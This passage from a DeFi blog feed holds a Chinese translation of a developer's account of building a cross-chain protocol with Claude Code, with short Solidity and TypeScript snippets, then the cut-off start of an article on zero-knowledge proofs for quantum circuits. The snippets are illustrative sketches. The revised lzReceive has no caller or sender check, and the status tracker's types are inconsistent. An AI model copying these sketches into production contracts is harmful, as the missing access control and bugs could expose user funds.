</code></pre><p>&#x8FD9;&#x4E2A;&#x62BD;&#x8C61;&#x770B;&#x8D77;&#x6765;&#x5F88;&#x7B80;&#x6D01;&#x3002;&#x4F46;&#x5F88;&#x5FEB;&#x6211;&#x5C31;&#x4F1A;&#x610F;&#x8BC6;&#x5230;&#xFF0C;&#x786E;&#x4FDD;&#x8FD9;&#x4E24;&#x6761;&#x8DEF;&#x5F84;&#x7684;&#x6B63;&#x786E;&#x6027;&#x5B8C;&#x5168;&#x662F;&#x53E6;&#x4E00;&#x56DE;&#x4E8B;&#x3002;</p><h2 id="2%E3%80%8118%E5%B0%8F%E6%97%B6%E7%9A%84%E7%8E%B0%E5%AE%9E%E6%A3%80%E9%AA%8C">2&#x3001;18&#x5C0F;&#x65F6;&#x7684;&#x73B0;&#x5B9E;&#x68C0;&#x9A8C;</h2><p>&#x4E00;&#x4E2A;&#x8FD9;&#x79CD;&#x89C4;&#x6A21;&#x7684;&#x7CFB;&#x7EDF;&#x901A;&#x5E38;&#x9700;&#x8981;&#x7ECF;&#x9A8C;&#x4E30;&#x5BCC;&#x7684;&#x533A;&#x5757;&#x94FE;&#x5DE5;&#x7A0B;&#x5E08;80&#x5230;150&#x5C0F;&#x65F6;&#x624D;&#x80FD;&#x641E;&#x5B9A;&#x3002;&#x8FD9;&#x5305;&#x62EC;&#x63A8;&#x7406;&#x6D88;&#x606F;&#x987A;&#x5E8F;&#x3001;&#x8FFD;&#x8E2A;&#x8FB9;&#x7F18;&#x6848;&#x4F8B;&#xFF0C;&#x4EE5;&#x53CA;&#x5904;&#x7406;&#x5206;&#x5E03;&#x5F0F;&#x72B6;&#x6001;&#x5E7D;&#x7075;&#x3002;&#x4F7F;&#x7528;Claude Code&#xFF0C;&#x914D;&#x5408;&#x5B8C;&#x6574;&#x7684;&#x4EE3;&#x7801;&#x5E93;&#x4E0A;&#x4E0B;&#x6587;&#xFF0C;&#x6211;&#x5728;&#x5927;&#x7EA6;18&#x5C0F;&#x65F6;&#x5185;&#x5C31;&#x5B8C;&#x6210;&#x4E86;&#x7AEF;&#x5230;&#x7AEF;&#x7684;&#x6784;&#x5EFA;&#x3002;</p><p>&#x8BA9;&#x6211;&#x63CF;&#x8FF0;&#x4E00;&#x4E0B;&#x5728;&#x7B2C;14&#x5C0F;&#x65F6;&#x5DE6;&#x53F3;&#x51FB;&#x4E2D;&#x6211;&#x7684;&#x73B0;&#x5B9E;&#x68C0;&#x9A8C;&#x3002;&#x662F;&#x7684;&#xFF0C;&#x4EE3;&#x7801;&#x5199;&#x5B8C;&#x4E86;&#xFF0C;&#x4F46;&#x6211;&#x7A81;&#x7136;&#x611F;&#x53D7;&#x5230;&#x4E00;&#x79CD;&#x6C89;&#x91CD;&#x7684;&#x8BA4;&#x77E5;&#x8D1F;&#x62C5;&#x2014;&#x2014;&#x63A8;&#x7406;&#x5B8C;&#x5168;&#x843D;&#x5728;&#x6211;&#x7684;&#x80A9;&#x4E0A;&#x3002;&#x6211;&#x611F;&#x89C9;&#x81EA;&#x5DF1;&#x6709;&#x4E00;&#x4E2A;&#x9AD8;&#x901F;&#x6253;&#x5B57;&#x5458;&#xFF0C;&#x53EF;&#x4EE5;&#x4EE5;&#x5149;&#x901F;&#x8F93;&#x51FA;Solidity&#x4EE3;&#x7801;&#xFF0C;&#x4F46;&#x6839;&#x672C;&#x4E0A;&#x4E0D;&#x7406;&#x89E3;&#x4ED6;&#x4EEC;&#x6B63;&#x5728;&#x6784;&#x5EFA;&#x7684;&#x4E16;&#x754C;&#x7684;&#x7269;&#x7406;&#x89C4;&#x5F8B;&#x3002;</p><p>&#x5F53;&#x6211;&#x5F00;&#x59CB;&#x5BA1;&#x8BA1;&#x6D41;&#x7A0B;&#x65F6;&#xFF0C;&#x6211;&#x53D1;&#x73B0;&#x4E86;26&#x4E2A;&#x5173;&#x952E;&#x95EE;&#x9898;&#x3002;&#x6211;&#x4EEC;&#x8C08;&#x8BBA;&#x7684;&#x662F;&#x4F4E;&#x6548;&#x7684;&#x72B6;&#x6001;&#x66F4;&#x65B0;&#x3001;&#x5BF9;&#x975E;&#x6807;&#x51C6;ERC20&#x4EE3;&#x5E01;&#x7684;&#x707E;&#x96BE;&#x6027;&#x5047;&#x8BBE;&#x3001;&#x8584;&#x5F31;&#x7684;&#x8BBF;&#x95EE;&#x63A7;&#x5236;&#xFF0C;&#x4EE5;&#x53CA;&#x5B8C;&#x5168;&#x641E;&#x7838;&#x7684;&#x8DE8;&#x94FE;&#x5931;&#x8D25;&#x72B6;&#x6001;&#x3002;&#x6BCF;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#x90FD;&#x9700;&#x8981;&#x624B;&#x52A8;&#x68C0;&#x67E5;&#x3001;&#x5BF9;&#x8DE8;&#x94FE;&#x72B6;&#x6001;&#x8F6C;&#x6362;&#x7684;&#x663E;&#x5F0F;&#x63A8;&#x7406;&#xFF0C;&#x4EE5;&#x53CA;&#x6709;&#x9488;&#x5BF9;&#x6027;&#x7684;&#x4FEE;&#x590D;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x6E05;&#x9192;&#x7684;&#x65F6;&#x523B;&#x3002;AI&#x538B;&#x7F29;&#x4E86;&#x6253;&#x5B57;&#x65F6;&#x95F4;&#xFF0C;&#x4F46;&#x5B83;&#x5E76;&#x6CA1;&#x6709;&#x7B80;&#x5316;&#x95EE;&#x9898;&#x3002;</p><h2 id="3%E3%80%81%E9%AB%98%E9%80%9F%E6%89%93%E5%AD%97%E5%91%98%E8%A1%A8%E7%8E%B0%E5%87%BA%E8%89%B2%E7%9A%84%E5%9C%B0%E6%96%B9">3&#x3001;&quot;&#x9AD8;&#x901F;&#x6253;&#x5B57;&#x5458;&quot;&#x8868;&#x73B0;&#x51FA;&#x8272;&#x7684;&#x5730;&#x65B9;</h2><p>&#x516C;&#x5E73;&#x5730;&#x8BF4;&#xFF0C;Claude&#x5728;&#x786E;&#x5B9A;&#x6027;&#x4EFB;&#x52A1;&#x7684;&#x6267;&#x884C;&#x5C42;&#x8868;&#x73B0;&#x51FA;&#x8272;&#x3002;&#x5B83;&#x5FEB;&#x901F;&#x5B8C;&#x6210;&#x4E86;&#x642D;&#x5EFA;&#x7EE7;&#x627F;&#x7ED3;&#x6784;&#x548C;&#x8BBE;&#x7F6E;OpenZeppelin&#x5E93;&#x7684;&#x5DE5;&#x4F5C;&#x3002;&#x5982;&#x679C;&#x6211;&#x9700;&#x8981;&#x5B89;&#x5168;&#x4EE3;&#x5E01;&#x8F6C;&#x8D26;&#x7684;&#x6807;&#x51C6;&#x5B9E;&#x73B0;&#x6216;&#x89E3;&#x7801;&#x590D;&#x6742;&#x8F7D;&#x8377;&#x8C03;&#x7528;&#x6570;&#x636E;&#xFF0C;&#x5B83;&#x90FD;&#x80FD;&#x5B8C;&#x7F8E;&#x4EA4;&#x4ED8;&#x3002;</p><pre><code class="language-solidity">using SafeERC20 for IERC20;

function _safeTransfer(address token, address to, uint256 amount) internal {
    IERC20(token).safeTransfer(to, amount);
}
function _decodePayload(bytes calldata payload)
    internal
    pure
    returns (address token, uint256 amount)
{
    return abi.decode(payload, (address, uint256));
}
</code></pre><p>&#x5BF9;&#x4E8E;&#x96F6;&#x6B67;&#x4E49;&#x7684;&#x660E;&#x786E;&#x5B9A;&#x4E49;&#x95EE;&#x9898;&#xFF0C;AI&#x662F;&#x4E00;&#x4E2A;&#x5F3A;&#x5927;&#x7684;&#x5DE5;&#x5177;&#x3002;&#x5B83;&#x51FA;&#x8272;&#x5730;&#x5904;&#x7406;&#x8FD9;&#x4E9B;&#x5C40;&#x90E8;&#x7684;&#x3001;&#x6709;&#x754C;&#x7EA6;&#x675F;&#x7684;&#x95EE;&#x9898;&#x3002;</p><h2 id="4%E3%80%81%E6%8C%A3%E6%89%8E%EF%BC%9A%E6%88%91%E7%9A%84%E6%8F%90%E7%A4%BA%E8%AF%8D%E8%BF%9B%E5%8C%96">4&#x3001;&#x6323;&#x624E;&#xFF1A;&#x6211;&#x7684;&#x63D0;&#x793A;&#x8BCD;&#x8FDB;&#x5316;</h2><p>&#x6211;&#x7684;&#x6574;&#x4E2A;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x4F9D;&#x8D56;Claude Code&#xFF0C;&#x800C;&#x6211;&#x9047;&#x5230;&#x7684;&#x6700;&#x5927;&#x7684;&#x6469;&#x64E6;&#x70B9;&#x662F;&#x6211;&#x81EA;&#x5DF1;&#x7684;&#x63D0;&#x793A;&#x8BCD;&#x7684;&#x8FDB;&#x5316;&#x3002;&#x6211;&#x4E00;&#x5F00;&#x59CB;&#x5F88;&#x968F;&#x610F;&#xFF0C;&#x629B;&#x51FA;&#x4E00;&#x4E9B;&#x4EE5;&#x5B9E;&#x73B0;&#x4E3A;&#x9A71;&#x52A8;&#x7684;&#x6307;&#x4EE4;&#xFF0C;&#x6BD4;&#x5982;&quot;&#x5199;&#x4E00;&#x4E2A;LayerZero&#x63A5;&#x6536;&#x5408;&#x7EA6;&quot;&#xFF0C;&#x6216;&quot;&#x5B9E;&#x73B0;&#x8DE8;&#x94FE;&#x5151;&#x6362;&#x903B;&#x8F91;&quot;&#x3002;Claude&#x7167;&#x505A;&#x4E86;&#xFF0C;&#x5FEB;&#x901F;&#x5410;&#x51FA;&#x4E86;&#x529F;&#x80FD;&#x4EE3;&#x7801;&#x3002;&#x4F46;&#x5B83;&#x975E;&#x5E38;&#x8106;&#x5F31;&#x3002;&#x5B83;&#x9488;&#x5BF9;&#x7684;&#x662F;&#x5B8C;&#x6210;&#x63D0;&#x793A;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x5728;&#x4E3B;&#x7F51;&#x4E0A;&#x5B58;&#x6D3B;&#x3002;</p><p>&#x5F53;&#x6211;&#x649E;&#x4E0A;&#x4E00;&#x5835;&#x5DE8;&#x5927;&#x7684;&#x5899;&#x65F6;&#xFF0C;Claude&#x5B8C;&#x5168;&#x9057;&#x6F0F;&#x4E86;&#x4E00;&#x4E2A;fee-on-transfer&#x8FB9;&#x7F18;&#x6848;&#x4F8B;&#xFF0C;&#x8FD9;&#x4E2A;&#x6848;&#x4F8B;&#x6700;&#x7EC8;&#x4F1A;&#x8BA9;&#x6211;&#x4EEC;&#x7684;&#x91D1;&#x5E93;&#x5931;&#x8840;&#x3002;&#x6211;&#x610F;&#x8BC6;&#x5230;&#x6211;&#x7684;&#x63D0;&#x793A;&#x8BCD;&#x5FC5;&#x987B;&#x8FDB;&#x5316;&#x6210;&#x4E25;&#x683C;&#x7684;&#x7CFB;&#x7EDF;&#x7EA7;&#x6307;&#x4EE4;&#x3002;&#x6211;&#x4E0D;&#x518D;&#x8981;&#x6C42;&quot;&#x4E00;&#x4E2A;&#x8DEF;&#x7531;&quot;&#xFF0C;&#x800C;&#x662F;&#x5F00;&#x59CB;&#x8981;&#x6C42;&quot;&#x5728;&#x5B9E;&#x73B0;&#x8FD9;&#x4E2A;&#x65F6;&#x5047;&#x8BBE;&#x8DE8;&#x94FE;&#x6D88;&#x606F;&#x4F20;&#x9012;&#x4F1A;&#x88AB;&#x5EF6;&#x8FDF;&#x3001;&#x91CD;&#x65B0;&#x6392;&#x5E8F;&#x6216;&#x5B8C;&#x5168;&#x5931;&#x8D25;&#x3002;&#x4F7F;&#x7528;&#x6D88;&#x606F;&#x6807;&#x8BC6;&#x7B26;&#x786E;&#x4FDD;&#x5E42;&#x7B49;&#x6267;&#x884C;&#xFF0C;&#x5E76;&#x5904;&#x7406;&#x975E;&#x6807;&#x51C6;rebase&#x4EE3;&#x5E01;&#x3002;&quot;&#x8FD9;&#x79CD;&#x8F6C;&#x53D8;&#x5927;&#x5927;&#x6539;&#x5584;&#x4E86;&#x8F93;&#x51FA;&#xFF0C;&#x4F46;&#x5B83;&#x8BC1;&#x660E;&#x4E86;&#x4E00;&#x4E2A;&#x6839;&#x672C;&#x6027;&#x7684;&#x9650;&#x5236;&#x3002;Claude&#x5BF9;&#x7EA6;&#x675F;&#x53CD;&#x5E94;&#x826F;&#x597D;&#xFF0C;&#x4F46;&#x5B83;&#x4E0D;&#x80FD;&#x72EC;&#x7ACB;&#x63A8;&#x65AD;&#x5B83;&#x4EEC;&#x3002;&#x5B83;&#x7F3A;&#x4E4F;&#x5BF9;&#x7CFB;&#x7EDF;&#x7684;&#x5168;&#x5C40;&#x7406;&#x89E3;&#xFF0C;&#x6240;&#x4EE5;&#x5B83;&#x7684;&#x521D;&#x59CB;&#x4FEE;&#x590D;&#x603B;&#x662F;&#x5C40;&#x90E8;&#x7684;&#x800C;&#x975E;&#x67B6;&#x6784;&#x6027;&#x7684;&#x3002;</p><h2 id="5%E3%80%81%E9%80%BB%E8%BE%91%E5%B4%A9%E6%BA%83%E7%9A%84%E5%9C%B0%E6%96%B9">5&#x3001;&#x903B;&#x8F91;&#x5D29;&#x6E83;&#x7684;&#x5730;&#x65B9;</h2><p>&#x5F53;&#x95EE;&#x9898;&#x4ECE;&#x7F16;&#x5199;&#x5B64;&#x7ACB;&#x51FD;&#x6570;&#x8F6C;&#x5411;&#x5B9A;&#x4E49;&#x7CFB;&#x7EDF;&#x884C;&#x4E3A;&#x65F6;&#xFF0C;&#x771F;&#x6B63;&#x7684;&#x5C40;&#x9650;&#x6027;&#x663E;&#x9732;&#x65E0;&#x9057;&#x3002;AI&#x6839;&#x672C;&#x6CA1;&#x6709;&#x6A21;&#x62DF;&#x8DE8;&#x94FE;&#x5931;&#x8D25;&#x573A;&#x666F;&#x3002;&#x5B83;&#x5728;&#x5E94;&#x8BE5;&#x4F7F;&#x7528;&#x5185;&#x5B58;&#x65F6;&#x9ED8;&#x8BA4;&#x4F7F;&#x7528;&#x5B58;&#x50A8;&#x5199;&#x5165;&#xFF0C;&#x751F;&#x6210;&#x4E0D;&#x5B8C;&#x6574;&#x7684;&#x8BBF;&#x95EE;&#x8FB9;&#x754C;&#xFF0C;&#x5E76;&#x5B8C;&#x5168;&#x5FFD;&#x7565;&#x5E42;&#x7B49;&#x6027;&#x3002;</p><p>&#x4F8B;&#x5982;&#xFF0C;Claude&#x6700;&#x521D;&#x751F;&#x6210;&#x4E86;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x5929;&#x771F;&#x7684;LayerZero&#x63A5;&#x6536;&#x5668;&#xFF1A;</p><pre><code class="language-solidity">function lzReceive(...) external {
    _execute(payload);
}
</code></pre><p>&#x6211;&#x4E0D;&#x5F97;&#x4E0D;&#x5F3A;&#x5236;&#x5B83;&#x5C06;&#x6267;&#x884C;&#x5305;&#x88C5;&#x5728;try/catch&#x5757;&#x4E2D;&#xFF0C;&#x4EE5;&#x786E;&#x4FDD;&#x5355;&#x4E2A;&#x5931;&#x8D25;&#x7684;&#x6D88;&#x606F;&#x4E0D;&#x4F1A;&#x6C38;&#x4E45;&#x963B;&#x585E;&#x901A;&#x9053;&#xFF1A;</p><pre><code class="language-solidity">mapping(bytes32 =&gt; bool) public processed;

function lzReceive(bytes32 messageId, bytes calldata payload) external {
    require(!processed[messageId], &quot;Already processed&quot;);

    try this._execute(payload) {
        processed[messageId] = true;
    } catch {
        // &#x5B58;&#x50A8;&#x4EE5;&#x4F9B;&#x91CD;&#x8BD5;&#x6216;&#x624B;&#x52A8;&#x5E72;&#x9884;
    }
}
</code></pre><p>&#x540C;&#x6837;&#xFF0C;&#x5B83;&#x5B8C;&#x5168;&#x5FFD;&#x7565;&#x4E86;fee-on-transfer&#x673A;&#x5236;&#xFF0C;&#x5047;&#x8BBE;<code>amountIn</code>&#x603B;&#x662F;&#x7B49;&#x4E8E;<code>amountReceived</code>&#x3002;&#x6211;&#x5FC5;&#x987B;&#x624B;&#x52A8;&#x5F3A;&#x5236;&#x6267;&#x884C;&#x6B63;&#x786E;&#x7684;&#x8BB0;&#x8D26;&#xFF1A;</p><pre><code class="language-solidity">uint256 balanceBefore = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = IERC20(token).balanceOf(address(this));

uint256 actualReceived = balanceAfter - balanceBefore;
</code></pre><p>&#x8FD9;&#x4E9B;&#x4E0D;&#x662F;&#x53EF;&#x9009;&#x7684;&#x91CD;&#x6784;&#x3002;&#x5B83;&#x4EEC;&#x662F;&#x534F;&#x8BAE;&#x6B63;&#x786E;&#x6027;&#x7684;&#x751F;&#x5B58;&#x8981;&#x6C42;&#x3002;AI&#x5C31;&#x662F;&#x770B;&#x4E0D;&#x5230;&#x5B83;&#x4EEC;&#x3002;</p><h2 id="6%E3%80%81%E5%89%8D%E7%AB%AF%E7%9A%84%E5%AF%B9%E8%B4%A6%E6%B7%B7%E4%B9%B1">6&#x3001;&#x524D;&#x7AEF;&#x7684;&#x5BF9;&#x8D26;&#x6DF7;&#x4E71;</h2><p>&#x590D;&#x6742;&#x6027;&#x4E0D;&#x4F1A;&#x5728;EVM&#x8FB9;&#x754C;&#x5904;&#x505C;&#x6B62;&#x3002;&#x5728;&#x8DE8;&#x94FE;&#x7CFB;&#x7EDF;&#x4E2D;&#xFF0C;&#x524D;&#x7AEF;&#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x4E00;&#x4E2A;&#x95EA;&#x4EAE;&#x7684;&#x8868;&#x73B0;&#x5C42;&#x3002;&#x5B83;&#x662F;&#x4E00;&#x4E2A;&#x75AF;&#x72C2;&#x7684;&#x72B6;&#x6001;&#x5BF9;&#x8D26;&#x5F15;&#x64CE;&#x3002;&#x5B83;&#x5FC5;&#x987B;&#x8FFD;&#x8E2A;&#x8DE8;&#x94FE;&#x7684;&#x4EA4;&#x6613;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x800C;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x786E;&#x5B9A;&#x6027;&#x7684;&#x5B8C;&#x6210;&#x4FDD;&#x8BC1;&#x3002;&#x6211;&#x5FC5;&#x987B;&#x663E;&#x5F0F;&#x5730;&#x5EFA;&#x6A21;&#xFF1A;</p><pre><code class="language-typescript">type CrossChainTxState =
    | { status: &quot;INITIATED&quot;; txHash: string }
    | { status: &quot;SOURCE_CONFIRMED&quot;; blockNumber: number }
    | { status: &quot;MESSAGE_DISPATCHED&quot;; messageId: string }
    | { status: &quot;IN_FLIGHT&quot;; relayer: string }
    | { status: &quot;DEST_EXECUTED&quot;; destTxHash: string }
    | { status: &quot;FAILED&quot;; reason: string };
</code></pre><p>&#x6211;&#x6700;&#x7EC8;&#x6784;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x5F3A;&#x5927;&#x7684;&#x8F6E;&#x8BE2;&#x88C5;&#x7F6E;&#x6765;&#x67E5;&#x8BE2;&#x6E90;&#x94FE;&#x3001;&#x4E2D;&#x7EE7;&#x5668;&#x548C;&#x76EE;&#x6807;&#x94FE;&#xFF0C;&#x53EA;&#x662F;&#x4E3A;&#x4E86;&#x9632;&#x6B62;UI&#x5728;&#x98DE;&#x884C;&#x4E2D;&#x7EE7;&#x671F;&#x95F4;&#x5BF9;&#x7528;&#x6237;&#x6492;&#x8C0E;&#xFF1A;</p><pre><code class="language-typescript">async function trackCrossChainTx(txHash: string) {
    const sourceTx = await sourceProvider.getTransactionReceipt(txHash);
    if (!sourceTx) return { status: &quot;INITIATED&quot; };

    const messageId = extractMessageId(sourceTx.logs);
    const relayStatus = await relayerApi.getStatus(messageId);

    if (relayStatus === &quot;PENDING&quot;) {
        return { status: &quot;IN_FLIGHT&quot; };
    }

    if (relayStatus === &quot;DELIVERED&quot;) {
        const destTx = await destProvider.getTransaction(relayStatus.destTxHash);
        return { status: &quot;DEST_EXECUTED&quot;, destTxHash: destTx.hash };
    }

    return { status: &quot;FAILED&quot;, reason: relayStatus.error };
}
</code></pre><p>&#x5982;&#x679C;&#x4F60;&#x641E;&#x9519;&#x4E86;&#x8FD9;&#x4E2A;&#x5206;&#x5E03;&#x5F0F;&#x72B6;&#x6001;&#x8FFD;&#x8E2A;&#xFF0C;&#x4F60;&#x4F1A;&#x77AC;&#x95F4;&#x5931;&#x53BB;&#x7528;&#x6237;&#x4FE1;&#x4EFB;&#xFF0C;&#x65E0;&#x8BBA;&#x4F60;&#x7684;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x591A;&#x4E48;&#x5B8C;&#x7F8E;&#x3002;</p><h2 id="7%E3%80%81%E5%AE%89%E5%85%A8%E9%9C%80%E8%A6%81%E6%84%8F%E5%9B%BE">7&#x3001;&#x5B89;&#x5168;&#x9700;&#x8981;&#x610F;&#x56FE;</h2><p>&#x5F52;&#x6839;&#x7ED3;&#x5E95;&#xFF0C;&#x5B89;&#x5168;&#x9700;&#x8981;&#x5BF9;&#x6297;&#x6027;&#x610F;&#x56FE;&#x3002;AI&#x53EF;&#x4EE5;&#x7ED9;&#x4F60;&#x4E00;&#x4E2A;&#x5B8C;&#x7F8E;&#x7684;&#x91CD;&#x653E;&#x4FDD;&#x62A4;&#x4FEE;&#x9970;&#x7B26;&#x3002;</p><pre><code class="language-solidity">mapping(bytes32 =&gt; bool) public executed;

function execute(bytes32 txId) external {
    require(!executed[txId], &quot;Replay detected&quot;);
    executed[txId] = true;
}
</code></pre><p>&#x5B9E;&#x73B0;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x4F46;AI&#x6839;&#x672C;&#x4E0D;&#x77E5;&#x9053;&#x8FD9;&#x4E2A;&#x6A21;&#x5F0F;&#x5E94;&#x8BE5;&#x653E;&#x5728;&#x54EA;&#x91CC;&#x3002;&#x8BC6;&#x522B;&#x8DE8;&#x5408;&#x7EA6;&#x8FB9;&#x754C;&#x7684;&#x653B;&#x51FB;&#x9762;&#x4EE5;&#x53CA;&#x63A8;&#x7406;&#x4FE1;&#x4EFB;&#x5047;&#x8BBE;&#x4ECD;&#x7136;&#x5B8C;&#x5168;&#x662F;&#x4EBA;&#x7C7B;&#x7684;&#x5DE5;&#x4F5C;&#x3002;AI&#x51CF;&#x5C11;&#x4E86;&#x4EA7;&#x751F;&#x5DE5;&#x4F5C;&#x4EE3;&#x7801;&#x7684;&#x65F6;&#x95F4;&#xFF0C;&#x4F46;&#x5B83;&#x6CA1;&#x6709;&#x51CF;&#x5C11;&#x8BA9;&#x4EE3;&#x7801;&#x53EF;&#x9760;&#x6240;&#x9700;&#x7684;&#x54EA;&#x6015;&#x4E00;&#x5206;&#x949F;&#x65F6;&#x95F4;&#x3002;</p><h2 id="8%E3%80%81%E6%88%91%E7%9A%84%E6%94%B6%E8%8E%B7%EF%BC%9A%E5%90%91%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84%E5%B8%88%E7%9A%84%E8%BD%AC%E5%8F%98">8&#x3001;&#x6211;&#x7684;&#x6536;&#x83B7;&#xFF1A;&#x5411;&#x7CFB;&#x7EDF;&#x67B6;&#x6784;&#x5E08;&#x7684;&#x8F6C;&#x53D8;</h2><p>&#x5F53;&#x6211;&#x7EC8;&#x4E8E;&#x5728;&#x90A3;&#x8270;&#x82E6;&#x7684;18&#x5C0F;&#x65F6;&#x51B2;&#x523A;&#x540E;&#x79BB;&#x5F00;&#x6211;&#x7684;IDE&#x65F6;&#xFF0C;&#x6211;&#x5E26;&#x7740;&#x4E00;&#x4E2A;&#x6765;&#x4E4B;&#x4E0D;&#x6613;&#x7684;&#x6559;&#x8BAD;&#x79BB;&#x5F00;&#x3002;&#x8FD9;&#x4E2A;&#x5B9E;&#x9A8C;&#x8BC1;&#x660E;&#xFF0C;&#x6211;&#x4EEC;&#x7684;&#x5DE5;&#x4F5C;&#x6B63;&#x5728;&#x6DF1;&#x523B;&#x6539;&#x53D8;&#x3002;AI&#x6D88;&#x9664;&#x4E86;&#x7F16;&#x5199;&#x4EE3;&#x7801;&#x7684;&#x6469;&#x64E6;&#xFF0C;&#x4F46;&#x5B83;&#x6781;&#x5927;&#x5730;&#x653E;&#x5927;&#x4E86;&#x7CFB;&#x7EDF;&#x8BBE;&#x8BA1;&#x7684;&#x91CD;&#x8981;&#x6027;&#x3002;</p><p>&#x6211;&#x7684;&#x89D2;&#x8272;&#x4ECE;&quot;&#x903B;&#x8F91;&#x5B9E;&#x73B0;&#x8005;&quot;&#x5927;&#x5E45;&#x8F6C;&#x53D8;&#x4E3A;&quot;&#x7CFB;&#x7EDF;&#x67B6;&#x6784;&#x5E08;&quot;&#x3002;&#x6211;&#x4E0D;&#x518D;&#x53EA;&#x662F;&#x5728;&#x5199;&#x4EE3;&#x7801;&#x4E86;&#x3002;&#x6211;&#x5728;&#x79EF;&#x6781;&#x9A8C;&#x8BC1;&#x5047;&#x8BBE;&#xFF0C;&#x5E76;&#x5728;&#x80FD;&#x591F;&#x6253;&#x5B57;&#x5FEB;&#x4F46;&#x65E0;&#x6CD5;&#x63D0;&#x524D;&#x601D;&#x8003;&#x7684;&#x673A;&#x5668;&#x4E0A;&#x5F3A;&#x5236;&#x6267;&#x884C;&#x67B6;&#x6784;&#x8FB9;&#x754C;&#x3002;&#x5982;&#x679C;&#x4F60;&#x5728;DeFi&#x6216;&#x4EFB;&#x4F55;&#x9AD8;&#x98CE;&#x9669;&#x5206;&#x5E03;&#x5F0F;&#x73AF;&#x5883;&#x4E2D;&#x6784;&#x5EFA;&#xFF0C;AI&#x4F1A;&#x8BA9;&#x4F60;&#x53D8;&#x5F97;&#x66F4;&#x5FEB;&#x3002;&#x4F46;&#x6B63;&#x786E;&#x6027;&#x7684;&#x8D1F;&#x62C5;&#x4ECD;&#x7136;&#x5B8C;&#x5168;&#x843D;&#x5728;&#x4F60;&#x80A9;&#x4E0A;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;: <a href="https://medium.com/@bhavyaj8525/from-150-hours-to-18-how-ai-helped-me-build-a-cross-chain-defi-protocol-8x-faster-3f65ca2099a8?ref=defiplot.com">From 150 Hours to 18: How AI Helped Me Build a Cross-Chain DeFi Protocol 8x Faster</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[零知识证明: 让量子电路"隐私化"]]></title><description><![CDATA[Google量子AI团队利用zk证明隐藏并验证能够破解主流加密算法的量子电路]]></description><link>https://defiplot.com/blog/zk-proofs-make-quantum-circuits-private/</link><guid isPermaLink="false">69e1f1e9ec23a43b2add946f</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Fri, 17 Apr 2026 08:46:47 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/04/zk-proofs-make-quantum-circuits-private.png" medium="image"/><content:encoded><![CDATA[<h1 id="%E9%9B%B6%E7%9F%A5%E8%AF%86%E8%AF%81%E6%98%8E%E5%A6%82%E4%BD%95%E8%AE%A9%E9%87%8F%E5%AD%90%E7%94%B5%E8%B7%AF%E5%AE%9E%E7%8E%B0%E9%9A%90%E7%A7%81%E5%8C%96">&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x5982;&#x4F55;&#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x5B9E;&#x73B0;&quot;&#x9690;&#x79C1;&#x5316;&quot;</h1><img src="https://defiplot.com/blog/content/images/2026/04/zk-proofs-make-quantum-circuits-private.png" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;"><p>&#x6211;&#x5199;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x7684;&#x4E3B;&#x8981;&#x52A8;&#x673A;&#x662F;&#x5E2E;&#x52A9;&#x8BFB;&#x8005;&#x7406;&#x89E3;&#x5982;&#x4F55;&#x89E3;&#x8BFB;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x9886;&#x57DF;&#x7684;&#x8BBA;&#x6587;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x968F;&#x7740;&#x8BE5;&#x9886;&#x57DF;&#x53D8;&#x5F97;&#x66F4;&#x52A0;&#x4E3B;&#x6D41;&#xFF0C;&#x5404;&#x79CD;&#x8038;&#x4EBA;&#x542C;&#x95FB;&#x7684;&#x8BF4;&#x6CD5;&#x5E7F;&#x6CDB;&#x4F20;&#x64AD;&#x65F6;&#x3002;</p><p>&#x5728;&#x4E00;&#x4EFD;&#x65B0;&#x7684;<a href="https://arxiv.org/pdf/2603.28846?ref=defiplot.com">&#x767D;&#x76AE;&#x4E66;</a>&#x4E2D;&#xFF0C;<a href="https://quantumai.google/?ref=defiplot.com">Google&#x91CF;&#x5B50;AI</a>&#x3001;<a href="https://www.stanford.edu/?ref=defiplot.com">&#x65AF;&#x5766;&#x798F;&#x5927;&#x5B66;</a>&#x548C;<a href="https://ethereum.foundation/?ref=defiplot.com">&#x4EE5;&#x592A;&#x574A;&#x57FA;&#x91D1;&#x4F1A;</a>&#x7684;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x5F00;&#x53D1;&#x4E86;&#x66F4;&#x5C0F;&#x3001;&#x8D44;&#x6E90;&#x6D88;&#x8017;&#x66F4;&#x5C11;&#x7684;<a href="https://medium.com/@jkim_tran/how-to-create-a-quantum-circuit-3d1dbbc171a1?ref=defiplot.com">&#x91CF;&#x5B50;&#x7535;&#x8DEF;</a>&#xFF0C;&#x5373;&#x8FD0;&#x884C;&#x5728;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x7684;&#x7A0B;&#x5E8F;&#xFF0C;&#x80FD;&#x591F;&#x7834;&#x89E3;<a 